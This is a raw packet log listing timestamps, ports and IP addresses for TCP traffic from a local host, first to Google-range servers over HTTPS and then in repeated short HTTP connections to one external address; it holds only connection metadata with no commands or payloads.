Oct 2, 2024 07:18:34.249872923 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.249912977 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:34.250118971 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.250298023 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.250349998 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:34.250355959 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.254035950 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.254067898 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.254092932 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:34.254100084 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.254139900 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:34.254350901 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.254544973 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.254591942 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:34.254601002 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.258022070 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.258085012 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:34.258089066 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.258152962 CEST	443	49732	142.250.186.33	192.168.2.4
Oct 2, 2024 07:18:34.258194923 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:18:34.258399010 CEST	49732	443	192.168.2.4	142.250.186.33
Oct 2, 2024 07:19:04.037092924 CEST	59082	443	192.168.2.4	172.217.18.110
Oct 2, 2024 07:19:04.037122965 CEST	443	59082	172.217.18.110	192.168.2.4
Oct 2, 2024 07:19:04.037230968 CEST	59082	443	192.168.2.4	172.217.18.110
Oct 2, 2024 07:19:04.061455965 CEST	59082	443	192.168.2.4	172.217.18.110
Oct 2, 2024 07:19:04.061465979 CEST	443	59082	172.217.18.110	192.168.2.4
Oct 2, 2024 07:19:04.735271931 CEST	443	59082	172.217.18.110	192.168.2.4
Oct 2, 2024 07:19:04.735413074 CEST	59082	443	192.168.2.4	172.217.18.110
Oct 2, 2024 07:19:04.736428976 CEST	443	59082	172.217.18.110	192.168.2.4
Oct 2, 2024 07:19:04.736500025 CEST	59082	443	192.168.2.4	172.217.18.110
Oct 2, 2024 07:19:04.818586111 CEST	59082	443	192.168.2.4	172.217.18.110
Oct 2, 2024 07:19:04.818599939 CEST	443	59082	172.217.18.110	192.168.2.4
Oct 2, 2024 07:19:04.818979025 CEST	443	59082	172.217.18.110	192.168.2.4
Oct 2, 2024 07:19:04.819044113 CEST	59082	443	192.168.2.4	172.217.18.110
Oct 2, 2024 07:19:04.823143005 CEST	59082	443	192.168.2.4	172.217.18.110
Oct 2, 2024 07:19:04.867394924 CEST	443	59082	172.217.18.110	192.168.2.4
Oct 2, 2024 07:19:05.174565077 CEST	443	59082	172.217.18.110	192.168.2.4
Oct 2, 2024 07:19:05.174649954 CEST	443	59082	172.217.18.110	192.168.2.4
Oct 2, 2024 07:19:05.174705982 CEST	59082	443	192.168.2.4	172.217.18.110
Oct 2, 2024 07:19:05.174745083 CEST	59082	443	192.168.2.4	172.217.18.110
Oct 2, 2024 07:19:05.175967932 CEST	59082	443	192.168.2.4	172.217.18.110
Oct 2, 2024 07:19:05.175991058 CEST	443	59082	172.217.18.110	192.168.2.4
Oct 2, 2024 07:19:05.208304882 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:05.208343029 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:05.208426952 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:05.208703995 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:05.208719015 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:05.855556965 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:05.855657101 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:05.937175035 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:05.937189102 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:05.937599897 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:05.937658072 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:05.942070961 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:05.987407923 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.127019882 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.127238035 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.130007982 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.130084991 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.139414072 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.139483929 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.139492035 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.139522076 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.139554024 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.139583111 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.145195961 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.145252943 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.211023092 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.211111069 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.212373018 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.212538004 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.212546110 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.212609053 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.214688063 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.214737892 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.214745998 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.214797020 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.217365980 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.217425108 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.217432976 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.217499018 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.221450090 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.221513033 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.221518993 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.221570969 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.228091955 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.228146076 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.228152037 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.228202105 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.234137058 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.234191895 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.234198093 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.234255075 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.240113974 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.240169048 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.241503954 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.241560936 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.246210098 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.246268034 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.246273994 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.246330976 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.252196074 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.252249002 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.252254963 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.252305984 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.258493900 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.258555889 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.258563042 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.258614063 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.264164925 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.264220953 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.264226913 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.264276981 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.268939972 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.268997908 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.277910948 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.277970076 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.278209925 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.278265953 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.297332048 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.297415018 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.297749043 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.297945023 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.299407005 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.299465895 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.300602913 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.300653934 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.300661087 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.300705910 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.302861929 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.302911043 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.305542946 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.305597067 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.305603981 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.305660963 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.307991028 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.308043003 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.308047056 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.308058023 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.308104992 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.310028076 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.310081959 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.310719967 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.310779095 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.311512947 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.311568975 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.315736055 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.315797091 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.316327095 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.316380978 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.320691109 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.320749044 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.321111917 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.321190119 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.325478077 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.325531006 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.325862885 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.325917006 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.330316067 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.330374956 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.330722094 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.330770016 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.334819078 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.334877968 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.335227966 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.335278988 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.340058088 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.340107918 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.340255022 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.340312958 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.344193935 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.344255924 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.344671965 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.344726086 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.348948002 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.349004984 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.349348068 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.349402905 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.353152037 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.353204012 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.353573084 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.353630066 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.357310057 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.357377052 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.357633114 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.357688904 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.358560085 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.358633041 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.362194061 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.362293005 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.362299919 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.362355947 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.365731955 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.365804911 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.365812063 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.365866899 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.369630098 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.369700909 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.369707108 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.369762897 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.373357058 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.373429060 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.373435020 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.373490095 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.377356052 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.377465010 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.377501965 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:08.377536058 CEST	443	59083	142.250.186.161	192.168.2.4
Oct 2, 2024 07:19:08.377604961 CEST	59083	443	192.168.2.4	142.250.186.161
Oct 2, 2024 07:19:09.551563025 CEST	59084	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:09.556750059 CEST	80	59084	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:09.556849003 CEST	59084	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:09.567332029 CEST	59084	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:09.572233915 CEST	80	59084	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:09.572345018 CEST	59084	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:09.577183962 CEST	80	59084	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:12.302341938 CEST	80	59084	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:12.302764893 CEST	80	59084	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:12.302778006 CEST	80	59084	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:12.302851915 CEST	59084	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:12.303118944 CEST	59084	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:12.303812981 CEST	80	59084	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:12.303823948 CEST	80	59084	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:12.303879976 CEST	59084	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:12.325809002 CEST	80	59084	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:12.387228966 CEST	59085	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:12.433909893 CEST	80	59085	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:12.434138060 CEST	59085	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:12.437366009 CEST	59085	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:12.483550072 CEST	80	59085	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:12.483647108 CEST	59085	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:12.496450901 CEST	80	59085	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:15.446930885 CEST	80	59085	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:15.447427988 CEST	80	59085	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:15.447438955 CEST	80	59085	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:15.447618008 CEST	59085	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:15.447810888 CEST	59085	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:15.448391914 CEST	80	59085	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:15.448401928 CEST	80	59085	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:15.448450089 CEST	59085	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:15.450321913 CEST	59085	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:15.518100023 CEST	59086	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:15.523035049 CEST	80	59086	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:15.523130894 CEST	59086	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:15.525146961 CEST	59086	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:15.529902935 CEST	80	59086	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:15.529973984 CEST	59086	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:15.534862995 CEST	80	59086	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:18.171447039 CEST	80	59086	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:18.171510935 CEST	80	59086	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:18.171516895 CEST	80	59086	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:18.171665907 CEST	59086	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:18.171963930 CEST	59086	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:18.173398018 CEST	80	59086	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:18.173448086 CEST	59086	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:18.184542894 CEST	80	59086	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:18.306056976 CEST	59087	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:18.327533960 CEST	80	59087	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:18.327888966 CEST	59087	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:18.329709053 CEST	59087	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:18.355377913 CEST	80	59087	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:18.355470896 CEST	59087	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:18.605232000 CEST	59087	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:18.653620958 CEST	80	59087	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:18.653631926 CEST	80	59087	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:21.012243986 CEST	80	59087	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:21.012944937 CEST	80	59087	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:21.012959957 CEST	80	59087	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:21.013031960 CEST	59087	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:21.013228893 CEST	59087	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:21.013755083 CEST	80	59087	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:21.013768911 CEST	80	59087	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:21.013813019 CEST	59087	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:21.013848066 CEST	59087	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:21.150321007 CEST	59088	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:21.244424105 CEST	80	59088	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:21.244518042 CEST	59088	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:21.246655941 CEST	59088	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:21.251805067 CEST	80	59088	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:21.251872063 CEST	59088	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:21.256763935 CEST	80	59088	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:23.973371029 CEST	80	59088	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:23.973893881 CEST	80	59088	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:23.973906040 CEST	80	59088	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:23.973963976 CEST	59088	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:23.974154949 CEST	59088	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:23.976268053 CEST	80	59088	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:23.976329088 CEST	59088	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:23.983200073 CEST	80	59088	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:24.128253937 CEST	59089	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:24.147471905 CEST	80	59089	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:24.147589922 CEST	59089	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:24.150774956 CEST	59089	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:24.164666891 CEST	80	59089	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:24.164841890 CEST	59089	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:24.175031900 CEST	80	59089	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:27.547966957 CEST	80	59089	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:27.548192024 CEST	80	59089	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:27.548202991 CEST	80	59089	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:27.548269033 CEST	59089	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:27.548573017 CEST	59089	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:27.549601078 CEST	80	59089	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:27.549609900 CEST	80	59089	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:27.549618006 CEST	80	59089	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:27.549653053 CEST	59089	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:27.549653053 CEST	59089	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:27.549685001 CEST	59089	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:27.680460930 CEST	59090	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:27.695063114 CEST	80	59090	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:27.695344925 CEST	59090	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:27.697428942 CEST	59090	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:27.707297087 CEST	80	59090	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:27.707361937 CEST	59090	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:27.714648962 CEST	80	59090	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:30.379097939 CEST	80	59090	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:30.379656076 CEST	80	59090	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:30.379667044 CEST	80	59090	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:30.379724979 CEST	59090	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:30.379918098 CEST	59090	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:30.380639076 CEST	80	59090	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:30.380682945 CEST	59090	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:30.380791903 CEST	80	59090	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:30.380831957 CEST	59090	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:30.537720919 CEST	59091	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:30.543658018 CEST	80	59091	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:30.543745041 CEST	59091	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:30.545875072 CEST	59091	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:30.551366091 CEST	80	59091	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:30.551426888 CEST	59091	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:30.556756973 CEST	80	59091	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:33.224482059 CEST	80	59091	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:33.224961042 CEST	80	59091	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:33.224972010 CEST	80	59091	137.184.191.215	192.168.2.4
